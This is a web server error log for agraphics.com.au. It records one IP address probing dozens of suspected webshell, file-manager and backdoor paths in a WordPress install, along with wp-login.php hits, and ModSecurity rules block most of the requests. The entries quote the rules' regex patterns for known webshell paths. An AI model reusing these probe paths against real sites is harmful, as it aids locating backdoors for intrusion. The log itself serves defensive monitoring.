[Tue Apr 07 20:26:39.485159 2026] [proxy_fcgi:error] [pid 37596:tid 37616] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:39.895359 2026] [proxy_fcgi:error] [pid 37596:tid 37606] [client 62.197.144.37:56814] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:45.619973 2026] [:error] [pid 37596:tid 37628] [client 62.197.144.37:56814] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "adT4BapaAOZHEjRWjP2cZAAAABY"]
[Tue Apr 07 20:26:47.671328 2026] [:error] [pid 37719:tid 37741] [client 62.197.144.37:48244] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "adT4B009Xv52u2xXGLAaUgAAANM"]
[Tue Apr 07 20:26:50.663093 2026] [proxy_fcgi:error] [pid 12948:tid 12956] [client 62.197.144.37:48260] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:51.918939 2026] [:error] [pid 12948:tid 12953] [client 62.197.144.37:48260] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "adT4C8beSPAN8LvMqsauTQAAAQI"]
[Tue Apr 07 20:26:53.147657 2026] [proxy_fcgi:error] [pid 59551:tid 59565] [client 62.197.144.37:48272] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:53.558277 2026] [proxy_fcgi:error] [pid 59551:tid 59557] [client 62.197.144.37:48272] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:53.964859 2026] [:error] [pid 59551:tid 59554] [client 62.197.144.37:48272] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "adT4DV7LN7Ubyqs-sVsH0AAAAYE"]
[Tue Apr 07 20:26:55.232486 2026] [proxy_fcgi:error] [pid 37719:tid 37730] [client 62.197.144.37:38956] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:26:58.220958 2026] [:error] [pid 37719:tid 37733] [client 62.197.144.37:38956] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "adT4Ek09Xv52u2xXGLAabQAAAMs"]
[Tue Apr 07 20:26:59.468283 2026] [:error] [pid 37719:tid 37731] [client 62.197.144.37:38968] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "adT4E009Xv52u2xXGLAadgAAAMk"]
[Tue Apr 07 20:27:00.308931 2026] [:error] [pid 59804:tid 59817] [client 62.197.144.37:38984] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "adT4FHYVIXiPh5_eJTmn-gAAAgs"]
[Tue Apr 07 20:27:01.145527 2026] [:error] [pid 59551:tid 59562] [client 62.197.144.37:38998] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "adT4FV7LN7Ubyqs-sVsH2gAAAYk"]
[Tue Apr 07 20:27:01.963115 2026] [:error] [pid 12948:tid 12951] [client 62.197.144.37:39014] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "adT4FcbeSPAN8LvMqsauUQAAAQA"]
[Tue Apr 07 20:27:02.782835 2026] [:error] [pid 12948:tid 12953] [client 62.197.144.37:39024] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "adT4FsbeSPAN8LvMqsauVQAAAQI"]
[Tue Apr 07 20:27:04.000741 2026] [:error] [pid 59551:tid 59555] [client 62.197.144.37:33134] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "adT4GF7LN7Ubyqs-sVsH4QAAAYI"]
[Tue Apr 07 20:27:04.820272 2026] [proxy_fcgi:error] [pid 59660:tid 59669] [client 62.197.144.37:33138] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:05.641094 2026] [:error] [pid 59660:tid 59680] [client 62.197.144.37:33138] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "adT4GTp3-oiX2o5bTswS4QAAAdI"]
[Tue Apr 07 20:27:06.460938 2026] [proxy_fcgi:error] [pid 12948:tid 12974] [client 62.197.144.37:33142] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:06.874438 2026] [proxy_fcgi:error] [pid 12948:tid 12957] [client 62.197.144.37:33142] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:07.280874 2026] [:error] [pid 12948:tid 12968] [client 62.197.144.37:33142] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "adT4G8beSPAN8LvMqsauXgAAARE"]
[Tue Apr 07 20:27:08.518760 2026] [:error] [pid 12948:tid 12966] [client 62.197.144.37:33152] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "adT4HMbeSPAN8LvMqsauYwAAAQ8"]
[Tue Apr 07 20:27:09.366439 2026] [proxy_fcgi:error] [pid 37597:tid 37643] [client 62.197.144.37:33168] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:10.902139 2026] [:error] [pid 37597:tid 37634] [client 62.197.144.37:33168] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "adT4Hg6uAY0QAy-8EEJ2YgAAAEA"]
[Tue Apr 07 20:27:11.721659 2026] [proxy_fcgi:error] [pid 37598:tid 37664] [client 62.197.144.37:33180] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:12.953351 2026] [proxy_fcgi:error] [pid 37598:tid 37670] [client 62.197.144.37:33180] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:14.178006 2026] [:error] [pid 37598:tid 37674] [client 62.197.144.37:33180] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "adT4Iu9g7q_cV2WhPay3sgAAAI0"]
[Tue Apr 07 20:27:15.005117 2026] [proxy_fcgi:error] [pid 59660:tid 59667] [client 62.197.144.37:53518] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:15.417759 2026] [:error] [pid 59660:tid 59670] [client 62.197.144.37:53518] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "adT4Izp3-oiX2o5bTswS7AAAAcg"]
[Tue Apr 07 20:27:16.234525 2026] [proxy_fcgi:error] [pid 37596:tid 37607] [client 62.197.144.37:53522] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:17.049436 2026] [:error] [pid 37596:tid 37628] [client 62.197.144.37:53522] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "adT4JapaAOZHEjRWjP2cbwAAABY"]
[Tue Apr 07 20:27:18.285802 2026] [:error] [pid 12948:tid 12953] [client 62.197.144.37:53534] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "adT4JsbeSPAN8LvMqsauaAAAAQI"]
[Tue Apr 07 20:27:19.504881 2026] [proxy_fcgi:error] [pid 12948:tid 12969] [client 62.197.144.37:53538] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:19.915472 2026] [proxy_fcgi:error] [pid 12948:tid 12974] [client 62.197.144.37:53538] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:20.728807 2026] [:error] [pid 12948:tid 12951] [client 62.197.144.37:53538] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adT4KMbeSPAN8LvMqsaucwAAAQA"]
[Tue Apr 07 20:27:21.982305 2026] [:error] [pid 59551:tid 59561] [client 62.197.144.37:61758] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adT4KV7LN7Ubyqs-sVsH-wAAAYg"]
[Tue Apr 07 20:27:23.213648 2026] [:error] [pid 37596:tid 37612] [client 62.197.144.37:53550] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adT4K6paAOZHEjRWjP2cdQAAAAY"]
[Tue Apr 07 20:27:24.031288 2026] [:error] [pid 59804:tid 59810] [client 62.197.144.37:53260] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adT4LHYVIXiPh5_eJTmoEQAAAgQ"]
[Tue Apr 07 20:27:24.873483 2026] [:error] [pid 59551:tid 59572] [client 62.197.144.37:49304] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adT4LF7LN7Ubyqs-sVsIBwAAAZM"]
[Tue Apr 07 20:27:26.527162 2026] [proxy_fcgi:error] [pid 59804:tid 59819] [client 62.197.144.37:49318] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:26.940961 2026] [:error] [pid 59804:tid 59809] [client 62.197.144.37:49318] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adT4LnYVIXiPh5_eJTmoJgAAAgM"]
[Tue Apr 07 20:27:27.749064 2026] [:error] [pid 37597:tid 37643] [client 62.197.144.37:32180] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adT4Lw6uAY0QAy-8EEJ2cAAAAEk"]
[Tue Apr 07 20:27:28.560363 2026] [:error] [pid 37597:tid 37635] [client 62.197.144.37:49336] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adT4MA6uAY0QAy-8EEJ2dwAAAEE"]
[Tue Apr 07 20:27:30.206701 2026] [proxy_fcgi:error] [pid 59804:tid 59825] [client 62.197.144.37:49338] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:31.888447 2026] [proxy_fcgi:error] [pid 59804:tid 59826] [client 62.197.144.37:49338] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:32.300431 2026] [proxy_fcgi:error] [pid 59804:tid 59806] [client 62.197.144.37:49338] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:33.531825 2026] [:error] [pid 59804:tid 59819] [client 62.197.144.37:49338] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adT4NXYVIXiPh5_eJTmoSwAAAg0"]
[Tue Apr 07 20:27:35.621005 2026] [:error] [pid 37597:tid 37658] [client 62.197.144.37:20018] [client 62.197.144.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.197.144.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adT4Nw6uAY0QAy-8EEJ2pAAAAFg"]
[Tue Apr 07 20:27:36.041345 2026] [proxy_fcgi:error] [pid 37597:tid 37656] [client 62.197.144.37:20018] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:38.123918 2026] [proxy_fcgi:error] [pid 37597:tid 37648] [client 62.197.144.37:20018] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:38.539186 2026] [proxy_fcgi:error] [pid 37597:tid 37653] [client 62.197.144.37:20018] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:40.614090 2026] [:error] [pid 37597:tid 37655] [client 62.197.144.37:20018] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adT4PA6uAY0QAy-8EEJ2vwAAAFU"]
[Tue Apr 07 20:27:41.857987 2026] [proxy_fcgi:error] [pid 37719:tid 37725] [client 62.197.144.37:33892] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:42.270075 2026] [:error] [pid 37719:tid 37737] [client 62.197.144.37:33892] [client 62.197.144.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.197.144.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adT4Pk09Xv52u2xXGLAangAAAM8"]
[Tue Apr 07 20:27:43.103655 2026] [:error] [pid 37719:tid 37741] [client 62.197.144.37:33892] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "adT4P009Xv52u2xXGLAaoQAAANM"]
[Tue Apr 07 20:27:44.340199 2026] [proxy_fcgi:error] [pid 37597:tid 37650] [client 62.197.144.37:58848] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:45.585421 2026] [proxy_fcgi:error] [pid 37597:tid 37638] [client 62.197.144.37:58848] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:46.412039 2026] [proxy_fcgi:error] [pid 37597:tid 37653] [client 62.197.144.37:58848] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:47.236712 2026] [:error] [pid 37597:tid 37656] [client 62.197.144.37:58848] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adT4Qw6uAY0QAy-8EEJ21wAAAFY"]
[Tue Apr 07 20:27:48.055981 2026] [proxy_fcgi:error] [pid 37719:tid 37738] [client 62.197.144.37:23254] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:49.312101 2026] [proxy_fcgi:error] [pid 37719:tid 37737] [client 62.197.144.37:23254] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:50.135035 2026] [proxy_fcgi:error] [pid 37719:tid 37731] [client 62.197.144.37:23254] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:50.958880 2026] [proxy_fcgi:error] [pid 37719:tid 37742] [client 62.197.144.37:23254] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:51.367879 2026] [:error] [pid 37719:tid 37722] [client 62.197.144.37:23254] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adT4R009Xv52u2xXGLAavAAAAMA"]
[Tue Apr 07 20:27:52.196025 2026] [proxy_fcgi:error] [pid 12948:tid 12972] [client 62.197.144.37:58872] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:52.612608 2026] [proxy_fcgi:error] [pid 12948:tid 12953] [client 62.197.144.37:58872] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:53.025164 2026] [:error] [pid 12948:tid 12973] [client 62.197.144.37:58872] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adT4ScbeSPAN8LvMqsauhAAAARY"]
[Tue Apr 07 20:27:54.260795 2026] [proxy_fcgi:error] [pid 37597:tid 37643] [client 62.197.144.37:60258] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:27:55.081968 2026] [:error] [pid 37597:tid 37642] [client 62.197.144.37:60258] [client 62.197.144.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.197.144.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adT4Sw6uAY0QAy-8EEJ29wAAAEg"]
[Tue Apr 07 20:27:55.494755 2026] [:error] [pid 37597:tid 37645] [client 62.197.144.37:60258] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adT4Sw6uAY0QAy-8EEJ2-wAAAEs"]
[Tue Apr 07 20:28:00.513046 2026] [proxy_fcgi:error] [pid 37597:tid 37647] [client 62.197.144.37:60272] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:02.175712 2026] [proxy_fcgi:error] [pid 37597:tid 37658] [client 62.197.144.37:60272] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:03.019953 2026] [proxy_fcgi:error] [pid 37597:tid 37637] [client 62.197.144.37:60272] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:03.431950 2026] [:error] [pid 37597:tid 37641] [client 62.197.144.37:60272] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adT4Uw6uAY0QAy-8EEJ3OQAAAEc"]
[Tue Apr 07 20:28:04.254088 2026] [proxy_fcgi:error] [pid 37597:tid 37640] [client 62.197.144.37:49358] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:06.530051 2026] [:error] [pid 37597:tid 37658] [client 62.197.144.37:49358] [client 62.197.144.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.197.144.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adT4Vg6uAY0QAy-8EEJ3TwAAAFg"]
[Tue Apr 07 20:28:06.945599 2026] [proxy_fcgi:error] [pid 37597:tid 37642] [client 62.197.144.37:49358] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:07.356735 2026] [proxy_fcgi:error] [pid 37597:tid 37652] [client 62.197.144.37:49358] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:07.768675 2026] [proxy_fcgi:error] [pid 37597:tid 37641] [client 62.197.144.37:49358] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:08.176440 2026] [:error] [pid 37597:tid 37651] [client 62.197.144.37:49358] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adT4WA6uAY0QAy-8EEJ3XQAAAFE"]
